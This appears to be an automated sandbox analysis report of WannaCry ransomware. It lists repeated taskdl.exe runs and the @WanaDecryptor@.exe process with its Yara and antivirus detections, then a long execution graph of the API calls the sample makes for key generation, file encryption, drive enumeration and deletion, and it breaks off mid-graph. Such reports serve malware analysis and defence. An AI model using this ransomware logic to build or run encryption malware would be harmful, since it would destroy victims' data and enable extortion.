                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:194
                                                                                                      Start time:03:29:02
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:195
                                                                                                      Start time:03:29:02
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:196
                                                                                                      Start time:03:29:02
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:197
                                                                                                      Start time:03:29:02
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:198
                                                                                                      Start time:03:29:02
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:199
                                                                                                      Start time:03:29:03
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:200
                                                                                                      Start time:03:29:03
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:201
                                                                                                      Start time:03:29:03
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:202
                                                                                                      Start time:03:29:03
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:"C:\Users\user\Desktop\@WanaDecryptor@.exe"
                                                                                                      Imagebase:0x400000
                                                                                                      File size:245'760 bytes
                                                                                                      MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      Has elevated privileges:false
                                                                                                      Has administrator privileges:false
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, Author: Joe Security
                                                                                                      Antivirus matches:
                                                                                                      • Detection: 97%, ReversingLabs
                                                                                                      • Detection: 91%, Virustotal, Browse
                                                                                                      Has exited:false

                                                                                                      General

                                                                                                      Target ID:203
                                                                                                      Start time:03:29:03
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      Disassembly

                                                                                                      Reset < >

                                                                                                        Execution Graph

                                                                                                        Execution Coverage:36%
                                                                                                        Dynamic/Decrypted Code Coverage:99.7%
                                                                                                        Signature Coverage:35.6%
                                                                                                        Total number of Nodes:797
                                                                                                        Total number of Limit Nodes:107
                                                                                                        execution_graph 1423 10005340 1424 10005386 fopen 1423->1424 1425 100053dc 1423->1425 1424->1425 1426 1000539f WideCharToMultiByte fprintf fclose 1424->1426 1426->1425 1432 10005ae0 1433 10005b0c 1432->1433 1435 10005d3d 1432->1435 1477 10004690 CreateMutexA 1433->1477 1436 10005b11 1436->1435 1437 10005b19 GetModuleFileNameW wcsrchr 1436->1437 1438 10005b70 SetCurrentDirectoryW 1437->1438 1439 10005b61 wcsrchr 1437->1439 1481 10001000 1438->1481 1439->1438 1441 10005b87 1441->1435 1491 100012d0 1441->1491 1445 10005ba1 1445->1435 1446 10005ba9 sprintf sprintf sprintf 1445->1446 1504 10004600 OpenMutexA 1446->1504 1448 10005be2 1449 10005d42 CreateThread WaitForSingleObject CloseHandle 1448->1449 1512 10004500 sprintf GetFileAttributesA 1448->1512 1449->1435 2195 10004990 31 API calls 1449->2195 1451 10005bf3 1451->1449 1452 10005bfe ??2@YAPAXI 1451->1452 1453 10005c1e 1452->1453 1454 10005c17 1452->1454 1453->1435 1525 10003ac0 1453->1525 1611 10003a10 InitializeCriticalSection 1454->1611 1457 10005c48 1457->1435 1555 100046d0 CreateFileA 1457->1555 1459 10005c61 DeleteFileA 1558 10004420 CryptGenRandom 1459->1558 1460 10005c55 1460->1459 1461 10005c8e 1460->1461 1559 10003bb0 1461->1559 1466 10005cba FindCloseChangeNotification 1467 10005cbd Sleep CreateThread 1466->1467 1468 10005cd7 CloseHandle 1467->1468 1469 10005cda Sleep CreateThread Sleep CreateThread 1467->1469 2184 100045c0 1467->2184 1468->1469 1470 10005d05 FindCloseChangeNotification 1469->1470 1471 10005d08 Sleep CreateThread 1469->1471 2172 10005730 GetLogicalDrives 1469->2172 2178 10005300 1469->2178 1470->1471 1472 10005d21 CloseHandle 1471->1472 1473 10005d24 Sleep 1471->1473 2162 10004990 1471->2162 1472->1473 1566 100057c0 1473->1566 1476 10005d31 WaitForSingleObject CloseHandle 1476->1435 1478 100046c1 1477->1478 1479 100046a6 GetLastError 1477->1479 1478->1436 1479->1478 1480 100046b3 CloseHandle 1479->1480 1480->1436 1482 1000100a fopen 1481->1482 1484 1000102a 1482->1484 1485 1000105f 1482->1485 1486 10001043 fwrite 1484->1486 1487 10001036 fread 1484->1487 1485->1441 1488 1000104e 1486->1488 1487->1488 1489 10001064 fclose 1488->1489 1490 10001056 fclose 1488->1490 1489->1441 1490->1485 1612 100011d0 GetCurrentProcess OpenProcessToken 1491->1612 1493 100012fb 1494 10001303 1493->1494 1495 1000130f GetUserNameW 1493->1495 1496 10001331 _wcsicmp 1494->1496 1495->1496 1497 1000133e 1496->1497 1498 10003410 1497->1498 1628 10004440 1498->1628 1500 10003416 1501 10003427 1500->1501 1502 1000342e LoadLibraryA 1500->1502 1501->1445 1502->1501 1503 10003443 7 API calls 1502->1503 1503->1501 1505 1000461a CloseHandle 1504->1505 1506 1000462b sprintf CreateMutexA 1504->1506 1505->1448 1507 1000467b 1506->1507 1508 1000465d GetLastError 1506->1508 1633 100013e0 6 API calls 1507->1633 1508->1507 1510 1000466a CloseHandle 1508->1510 1510->1448 1511 10004681 1511->1448 1513 100045a2 1512->1513 1514 10004543 GetFileAttributesA 1512->1514 1513->1451 1514->1513 1515 1000454f 1514->1515 1634 10003a10 InitializeCriticalSection 1515->1634 1517 10004558 1635 10003d10 1517->1635 1519 10004573 1520 10004583 1519->1520 1521 1000459d 1519->1521 1651 10003a60 DeleteCriticalSection 1520->1651 1652 10003a60 DeleteCriticalSection 1521->1652 1524 10004588 1524->1451 1526 10003a80 CryptAcquireContextA 1525->1526 1527 10003aca 1526->1527 1528 10003add 1527->1528 1529 10003ace 1527->1529 1530 10003ae5 CryptImportKey 1528->1530 1531 10003b16 1528->1531 1532 10003bb0 3 API calls 1529->1532 1534 10003ba3 1530->1534 1535 10003b07 1530->1535 1670 10003c00 1531->1670 1533 10003ad5 1532->1533 1533->1457 1534->1457 1537 10003bb0 3 API calls 1535->1537 1539 10003b0e 1537->1539 1539->1457 1540 10003b22 CryptImportKey 1542 10003b40 1540->1542 1543 10003b86 1540->1543 1541 10003b95 1541->1534 1544 10003b9c CryptDestroyKey 1541->1544 1675 10004350 CryptGenKey 1542->1675 1545 10003bb0 3 API calls 1543->1545 1544->1534 1547 10003b8d 1545->1547 1547->1457 1548 10003b4d 1548->1543 1676 10004040 CryptExportKey 1548->1676 1550 10003b63 1550->1543 1551 10003b7a 1550->1551 1684 10003c40 1550->1684 1553 10003c00 8 API calls 1551->1553 1554 10003b82 1553->1554 1554->1541 1554->1543 1556 100046f3 1555->1556 1557 100046f8 ReadFile CloseHandle 1555->1557 1556->1460 1557->1460 1558->1461 1560 10003bc8 1559->1560 1561 10003bba CryptDestroyKey 1559->1561 1562 10003bdd 1560->1562 1563 10003bcf CryptDestroyKey 1560->1563 1561->1560 1564 10003bf4 CreateThread 1562->1564 1565 10003be4 CryptReleaseContext 1562->1565 1563->1562 1564->1466 1564->1467 2189 10004790 1564->2189 1565->1564 1708 10001590 1566->1708 1568 100057e8 1714 10001830 1568->1714 1570 1000580c 1571 10005814 GetFileAttributesA 1570->1571 1572 10005aae 1570->1572 1573 10005824 1571->1573 1803 10001680 1572->1803 1575 10005881 1573->1575 1576 1000583c time 1573->1576 1724 10004cd0 GetFileAttributesW 1575->1724 1753 10004730 CreateFileA 1576->1753 1580 10005850 sprintf 1756 10001080 CreateProcessA 1580->1756 1585 10005875 1587 10001000 5 API calls 1585->1587 1587->1575 1588 100058ba InterlockedExchange 1589 1000591c GetLogicalDrives 1588->1589 1590 1000589b 1588->1590 1589->1590 1590->1572 1590->1588 1590->1589 1591 1000599d InterlockedExchange 1590->1591 1593 1000595f GetDriveTypeW 1590->1593 1594 10001080 6 API calls 1590->1594 1602 1000596b 1590->1602 1782 10004a40 SHGetFolderPathW wcslen 1591->1782 1593->1590 1593->1602 1594->1590 1595 100059b8 1597 100059f4 time 1595->1597 1598 100059ce sprintf 1595->1598 1596 10005972 GetDriveTypeW 1596->1590 1596->1602 1601 10004730 3 API calls 1597->1601 1600 10001080 6 API calls 1598->1600 1600->1595 1603 10005a09 1601->1603 1602->1590 1602->1596 1764 10005540 1602->1764 1604 10005a10 sprintf 1603->1604 1609 100058b6 1603->1609 1605 10001080 6 API calls 1604->1605 1605->1609 1606 10005a93 Sleep 1607 10005aab 1606->1607 1606->1609 1607->1572 1608 10005a5d GetDriveTypeW 1608->1609 1609->1588 1609->1606 1609->1608 1610 10005190 29 API calls 1609->1610 1610->1609 1611->1453 1613 100011f5 1612->1613 1614 100011fb GetTokenInformation 1612->1614 1613->1493 1615 1000121a GetLastError 1614->1615 1616 1000122d GlobalAlloc GetTokenInformation 1614->1616 1615->1616 1617 10001225 1615->1617 1618 10001254 1616->1618 1619 1000125a LoadLibraryA 1616->1619 1617->1493 1618->1493 1620 10001269 1619->1620 1621 1000126f GetProcAddress 1619->1621 1620->1493 1622 10001285 1621->1622 1623 1000127f 1621->1623 1624 100012a1 wcscpy 1622->1624 1625 1000129b 1622->1625 1623->1493 1626 100012b8 GlobalFree 1624->1626 1627 100012bf 1624->1627 1625->1493 1626->1627 1627->1493 1629 10004451 LoadLibraryA 1628->1629 1630 1000444a 1628->1630 1631 10004466 6 API calls 1629->1631 1632 100044c6 1629->1632 1630->1500 1631->1632 1632->1500 1633->1511 1634->1517 1653 10003a80 1635->1653 1637 10003d9e 1638 10003e43 1637->1638 1658 10003f00 CreateFileA 1637->1658 1638->1519 1640 10003dbe 1642 10003f00 7 API calls 1640->1642 1645 10003e35 _local_unwind2 1640->1645 1643 10003dda 1642->1643 1644 10003de5 CryptEncrypt 1643->1644 1643->1645 1644->1645 1646 10003e58 CryptDecrypt 1644->1646 1645->1638 1646->1645 1647 10003e82 strncmp 1646->1647 1648 10003ed4 1647->1648 1649 10003eae _local_unwind2 1647->1649 1667 10003ef6 1648->1667 1649->1519 1651->1524 1652->1513 1654 10003a87 CryptAcquireContextA 1653->1654 1655 10003ab0 1654->1655 1656 10003aa7 1654->1656 1655->1637 1656->1654 1657 10003aad 1656->1657 1657->1637 1659 10003f59 GetFileSize 1658->1659 1661 10003f6b _local_unwind2 1658->1661 1660 10003f75 1659->1660 1659->1661 1660->1661 1663 10003f88 GlobalAlloc 1660->1663 1661->1640 1663->1661 1664 10003f99 ReadFile 1663->1664 1664->1661 1665 10003fb4 CryptImportKey 1664->1665 1665->1661 1666 10003fd1 _local_unwind2 1665->1666 1666->1640 1668 10003bb0 3 API calls 1667->1668 1669 10003efd 1668->1669 1669->1638 1671 10003c1b 1670->1671 1672 10003c0e CryptDestroyKey 1670->1672 1673 10003f00 7 API calls 1671->1673 1672->1671 1674 10003b1e 1673->1674 1674->1540 1674->1541 1675->1548 1677 10004099 GlobalAlloc 1676->1677 1680 10004091 _local_unwind2 1676->1680 1679 100040b5 CryptExportKey 1677->1679 1677->1680 1679->1680 1681 100040eb CreateFileA 1679->1681 1680->1550 1681->1680 1682 10004116 WriteFile 1681->1682 1682->1680 1683 1000412e _local_unwind2 1682->1683 1683->1550 1685 10003c67 1684->1685 1686 10003c5d 1684->1686 1693 10004170 1685->1693 1686->1551 1688 10003c7f 1689 10003c90 CreateFileA 1688->1689 1690 10003c88 1688->1690 1691 10003cb0 SetFilePointer WriteFile WriteFile 1689->1691 1692 10003ce6 GlobalFree 1689->1692 1690->1551 1691->1692 1692->1551 1706 10006bd0 1693->1706 1696 100041c2 CryptGetKeyParam 1698 10004206 GlobalAlloc 1696->1698 1699 100041e9 1696->1699 1697 100041b7 1697->1688 1700 10004254 1698->1700 1701 10004237 1698->1701 1699->1688 1702 100042fc 1700->1702 1703 1000427e CryptEncrypt 1700->1703 1701->1688 1702->1688 1703->1700 1704 1000431b GlobalFree 1703->1704 1705 1000432f 1704->1705 1705->1688 1705->1705 1707 1000417a CryptExportKey 1706->1707 1707->1696 1707->1697 1814 10003a10 InitializeCriticalSection 1708->1814 1710 100015b8 1815 10003a10 InitializeCriticalSection 1710->1815 1712 100015c6 1713 100015d3 ??2@YAPAXI 1712->1713 1713->1568 1715 10003ac0 33 API calls 1714->1715 1716 10001843 1715->1716 1717 10001847 1716->1717 1718 1000185c GlobalAlloc 1716->1718 1719 10003ac0 33 API calls 1716->1719 1717->1570 1720 10001875 1718->1720 1721 1000187a GlobalAlloc 1718->1721 1719->1718 1720->1570 1722 10001892 InitializeCriticalSection CreateThread GetTickCount srand 1721->1722 1723 1000188d 1721->1723 1722->1570 1816 100029e0 1722->1816 1723->1570 1725 10004ce9 CopyFileA 1724->1725 1726 10004cfb GetFileAttributesW 1724->1726 1725->1726 1727 10004dd5 1726->1727 1728 10004d0b GetCurrentDirectoryA 1726->1728 1732 10004df0 1727->1732 1729 10004d5b 1728->1729 1730 10004d9e sprintf 1728->1730 1729->1730 1834 10001140 6 API calls 1730->1834 1733 10006bd0 1732->1733 1734 10004dfa GetFileAttributesW 1733->1734 1735 10004e11 fopen 1734->1735 1736 10004f0f 1734->1736 1735->1736 1737 10004e2e fread fclose _wfopen 1735->1737 1742 10005480 SHGetFolderPathW wcslen 1736->1742 1737->1736 1738 10004e7c 1737->1738 1739 10004e85 _ftol sprintf 1738->1739 1740 10004ea8 sprintf 1738->1740 1741 10004ec9 sprintf fwrite fclose 1739->1741 1740->1741 1741->1736 1743 100054e1 SHGetFolderPathW wcslen 1742->1743 1744 100054d3 1742->1744 1746 10005513 1743->1746 1747 10005505 1743->1747 1839 100027f0 ??2@YAPAXI 1744->1839 1749 10004a40 16 API calls 1746->1749 1748 100027f0 168 API calls 1747->1748 1748->1746 1750 10005520 1749->1750 1751 10004a40 16 API calls 1750->1751 1752 1000552d 1751->1752 1752->1590 1754 10004756 1753->1754 1755 1000475b WriteFile CloseHandle 1753->1755 1754->1580 1755->1580 1757 10001135 1756->1757 1758 100010dd 1756->1758 1757->1585 1759 100010e5 WaitForSingleObject 1758->1759 1760 10001116 CloseHandle CloseHandle 1758->1760 1761 10001102 1759->1761 1762 100010f5 TerminateProcess 1759->1762 1760->1585 1761->1760 1763 1000110a GetExitCodeProcess 1761->1763 1762->1761 1763->1760 1765 100055f2 GetDriveTypeW 1764->1765 1766 10005577 InterlockedExchangeAdd 1764->1766 1767 10005668 1765->1767 1769 10005604 InterlockedExchange 1765->1769 1766->1767 1768 1000558c 1766->1768 1767->1602 1771 1000559a GetDiskFreeSpaceExW 1768->1771 1774 100055c6 Sleep 1768->1774 1777 100055de GetDriveTypeW 1768->1777 1770 10005610 GetDriveTypeW 1769->1770 1772 10005653 1770->1772 1773 10005623 1770->1773 1771->1768 1771->1774 1776 100027f0 168 API calls 1772->1776 2139 10005060 GetWindowsDirectoryW 1773->2139 1774->1771 1778 100055d3 1774->1778 1776->1767 1777->1767 1780 100055f0 1777->1780 1778->1602 1779 10005644 2146 10001910 wcscpy swprintf 1779->2146 1780->1770 1783 10004ab9 wcsrchr 1782->1783 1784 10004aac 1782->1784 1785 10004ada wcschr 1783->1785 1786 10004acf 1783->1786 1784->1595 1787 10004b01 1785->1787 1788 10004af6 1785->1788 1786->1595 1789 10004b54 swprintf FindFirstFileW 1787->1789 1790 10004b0b SHGetFolderPathW wcslen 1787->1790 1788->1595 1792 10004bbc 1789->1792 1793 10004baf 1789->1793 1790->1789 1791 10004b33 wcsrchr 1790->1791 1791->1789 1794 10004b4c 1791->1794 1795 10004bca wcscmp 1792->1795 1793->1595 1794->1789 1796 10004c95 FindNextFileW 1795->1796 1797 10004be8 wcscmp 1795->1797 1796->1795 1798 10004cb0 FindClose 1796->1798 1797->1796 1799 10004c06 1797->1799 1798->1595 1799->1796 1800 10004c14 swprintf 1799->1800 1801 10004c4f wcscmp 1799->1801 1800->1799 1801->1796 1802 10004c5e swprintf 1801->1802 1802->1796 2147 10001760 1803->2147 1806 100016fe ??3@YAXPAX 1807 10001728 1806->1807 2160 10003a60 DeleteCriticalSection 1807->2160 1808 100016c5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N ??3@YAXPAX 1808->1808 1809 100016fd 1808->1809 1809->1806 1811 10001734 2161 10003a60 DeleteCriticalSection 1811->2161 1813 10001744 1813->1435 1813->1476 1814->1710 1815->1712 1819 100029f0 1816->1819 1820 10002b88 ExitThread 1819->1820 1824 10002a04 1819->1824 1821 10002a12 Sleep 1821->1824 1822 10002a2f EnterCriticalSection 1823 10002b6f LeaveCriticalSection 1822->1823 1822->1824 1823->1820 1823->1824 1824->1820 1824->1821 1824->1822 1825 10002a68 wcslen 1824->1825 1832 10002b46 ??3@YAXPAX 1824->1832 1833 10002b3a ??3@YAXPAX 1824->1833 1826 10002ae4 DeleteFileW 1825->1826 1827 10002a76 MoveFileExW 1825->1827 1826->1824 1830 10002aef GetFileAttributesW SetFileAttributesW MoveFileExW 1826->1830 1828 10002a84 GetFileAttributesW 1827->1828 1829 10002aab swprintf MoveFileExW 1827->1829 1828->1829 1831 10002a90 GetFileAttributesW SetFileAttributesW MoveFileExW 1828->1831 1829->1824 1829->1826 1830->1824 1831->1829 1832->1823 1832->1824 1833->1832 1835 10001190 1834->1835 1836 10001198 fprintf fclose 1834->1836 1835->1727 1837 10001080 6 API calls 1836->1837 1838 100011c1 1837->1838 1838->1727 1849 10002300 ??2@YAPAXI 1839->1849 1841 100028b8 1907 10002ba0 1841->1907 1844 100028c1 1847 10002912 ??3@YAXPAX 1844->1847 1848 100028eb ??3@YAXPAX 1844->1848 1845 10002853 1845->1841 1846 10002885 ??3@YAXPAX 1845->1846 1896 10002940 1845->1896 1846->1845 1847->1743 1848->1844 1848->1847 1924 10003730 ??2@YAPAXI 1849->1924 1852 10002413 1926 10002f70 GetTempFileNameW CreateFileW 1852->1926 1853 100023af 1963 100036a0 1853->1963 1856 100023cd ??3@YAXPAX 1969 100037c0 1856->1969 1859 10002438 wcscmp 1862 1000262a FindNextFileW 1859->1862 1863 1000244f wcscmp 1859->1863 1860 100027c9 1860->1845 1861 10002642 FindClose 1864 1000265a 1861->1864 1879 10002686 1861->1879 1862->1861 1868 10002419 1862->1868 1863->1862 1865 10002466 swprintf 1863->1865 1866 10002940 103 API calls 1864->1866 1877 10003760 ??2@YAPAXI 1864->1877 1864->1879 1865->1868 1866->1864 1867 10002694 _wcsnicmp 1872 100026b4 1867->1872 1868->1859 1868->1861 1868->1862 1869 1000252b wcscmp 1868->1869 1874 100024b1 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 1868->1874 1894 100025bf wcsncpy wcsncpy 1868->1894 1929 100032c0 _wcsnicmp 1868->1929 1972 10002d60 wcsrchr 1868->1972 1869->1862 1871 10002542 wcscmp 1869->1871 1871->1862 1878 10002559 wcscmp 1871->1878 1885 10002706 1872->1885 1955 10003200 swprintf CopyFileW 1872->1955 1873 10002746 1876 10002771 ??3@YAXPAX 1873->1876 1892 1000276d 1873->1892 1958 10003620 1873->1958 1951 100035c0 ??2@YAPAXI 1874->1951 1883 100027b7 ??3@YAXPAX 1876->1883 1884 1000278e ??3@YAXPAX 1876->1884 1877->1864 1878->1862 1878->1868 1879->1867 1879->1872 1881 100026f9 1887 10002701 1881->1887 1888 10002708 1881->1888 1883->1860 1884->1883 1884->1884 1885->1873 1890 10002300 141 API calls 1885->1890 1956 10003280 swprintf CopyFileW 1887->1956 1957 10003240 swprintf CopyFileW 1888->1957 1890->1885 1892->1876 1989 10003760 ??2@YAPAXI 1894->1989 1897 10002953 1896->1897 1898 100029b1 DeleteFileW 1897->1898 1899 10002973 1897->1899 1900 100029aa 1897->1900 1901 1000295f 1897->1901 1898->1900 1903 10002200 100 API calls 1899->1903 1900->1845 2005 10002200 1901->2005 1905 1000297d 1903->1905 1904 10002969 1904->1845 1905->1900 1906 10002981 wcscat wcscat 1905->1906 1906->1900 1908 10002bcb wcslen 1907->1908 1909 10002cfd wcslen 1907->1909 1910 10002be2 1908->1910 1911 10002bef EnterCriticalSection wcslen ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 1908->1911 1912 10002d11 DeleteFileW 1909->1912 1913 10002d18 1909->1913 2117 10003010 1910->2117 1915 10002c48 ??2@YAPAXI 1911->1915 1916 10002c2d 1911->1916 1912->1913 1913->1844 1917 10002c65 1915->1917 1916->1915 1919 10003810 7 API calls 1917->1919 1918 10002bec 1918->1911 1920 10002c8a 1919->1920 1921 10002cde LeaveCriticalSection 1920->1921 1922 10002cd2 ??3@YAXPAX 1920->1922 1923 10002cae LeaveCriticalSection 1920->1923 1921->1844 1922->1921 1923->1844 1925 10002363 swprintf FindFirstFileW 1924->1925 1925->1852 1925->1853 1927 10002fc7 CloseHandle DeleteFileW 1926->1927 1928 10002fdd 1926->1928 1927->1928 1928->1868 1930 100032e2 wcsstr 1929->1930 1931 100032ef 1929->1931 1930->1931 1932 10003300 _wcsicmp 1931->1932 1933 100033b9 _wcsicmp 1931->1933 1934 10003312 1932->1934 1935 1000331d _wcsicmp 1932->1935 1936 100033d7 _wcsicmp 1933->1936 1937 100033cc 1933->1937 1934->1868 1940 10003337 _wcsicmp 1935->1940 1941 1000332c 1935->1941 1938 100033f1 _wcsicmp 1936->1938 1939 100033e6 1936->1939 1937->1868 1938->1868 1939->1868 1942 10003351 _wcsicmp 1940->1942 1943 10003346 1940->1943 1941->1868 1944 10003360 1942->1944 1945 1000336b _wcsicmp 1942->1945 1943->1868 1944->1868 1946 10003385 wcsstr 1945->1946 1947 1000337a 1945->1947 1948 10003394 1946->1948 1949 1000339f wcsstr 1946->1949 1947->1868 1948->1868 1949->1933 1950 100033ae 1949->1950 1950->1868 1952 100035df 1951->1952 1991 10003810 1952->1991 1954 10002508 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 1954->1862 1955->1881 1956->1885 1957->1885 1959 10003660 ??3@YAXPAX 1958->1959 1960 10003641 1958->1960 1959->1873 1961 10003654 ??3@YAXPAX 1960->1961 1962 1000364d 1960->1962 1961->1959 1962->1959 1964 1000371a 1963->1964 1965 100036b0 1963->1965 1964->1856 1966 100036ec ??3@YAXPAX 1965->1966 1967 100036e0 ??3@YAXPAX 1965->1967 1966->1965 1968 1000370d 1966->1968 1967->1966 1968->1856 1970 100037d1 ??3@YAXPAX 1969->1970 1971 100023ff ??3@YAXPAX 1969->1971 1970->1970 1970->1971 1971->1860 1973 10002d79 1972->1973 1974 10002d7f _wcsicmp 1972->1974 1973->1868 1975 10002d98 _wcsicmp 1974->1975 1976 10002e5b 1974->1976 1975->1976 1977 10002dab _wcsicmp 1975->1977 1976->1868 1978 10002dc5 1977->1978 1979 10002dba 1977->1979 1980 10002dd3 _wcsicmp 1978->1980 1981 10002dea 1978->1981 1979->1868 1980->1978 1982 10002e11 1980->1982 1983 10002e27 _wcsicmp 1981->1983 1984 10002df8 _wcsicmp 1981->1984 1988 10002e0f 1981->1988 1982->1868 1986 10002e41 _wcsicmp 1983->1986 1987 10002e36 1983->1987 1984->1981 1985 10002e1c 1984->1985 1985->1868 1986->1868 1987->1868 1988->1983 1990 1000377f 1989->1990 1990->1862 1992 10003840 1991->1992 2001 10003944 1991->2001 1993 10003868 1992->1993 1995 100038db 1992->1995 1996 10003874 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 1993->1996 1997 1000386e ?_Xran@std@ 1993->1997 1994 10003935 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 1994->2001 1995->1994 2000 100038f5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 1995->2000 1999 10003885 1996->1999 1997->1996 1998 100038c0 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 1998->1954 1999->1998 2002 100038a1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 1999->2002 2003 10003906 2000->2003 2001->1954 2001->2001 2002->1998 2004 100038b7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 2002->2004 2003->1954 2004->1998 2006 1000227a swprintf 2005->2006 2007 1000221a wcscpy wcsrchr 2005->2007 2010 1000229a GetFileAttributesW 2006->2010 2008 10002265 2007->2008 2009 10002245 _wcsicmp 2007->2009 2012 1000226f wcscat 2008->2012 2011 1000225e wcscpy 2009->2011 2009->2012 2013 100022d8 2010->2013 2014 100022aa 2010->2014 2011->2010 2012->2010 2016 100022e7 2013->2016 2018 10002ba0 29 API calls 2013->2018 2020 10001960 2014->2020 2016->1904 2017 100022ba 2017->2013 2019 100022be DeleteFileW 2017->2019 2018->2016 2019->1904 2021 10001a12 CreateFileW 2020->2021 2022 10001a07 2020->2022 2023 10001a74 GetFileSizeEx 2021->2023 2024 10001a34 2021->2024 2022->2021 2025 10001a91 GetFileTime ReadFile 2023->2025 2026 10001a86 2023->2026 2024->2026 2032 10001a48 CreateFileW 2024->2032 2028 10001b98 SetFilePointer 2025->2028 2029 10001ace 2025->2029 2027 1000208e _local_unwind2 2026->2027 2027->2017 2030 10001bb7 swprintf CreateFileW 2028->2030 2031 10001c5b ReadFile 2028->2031 2029->2028 2033 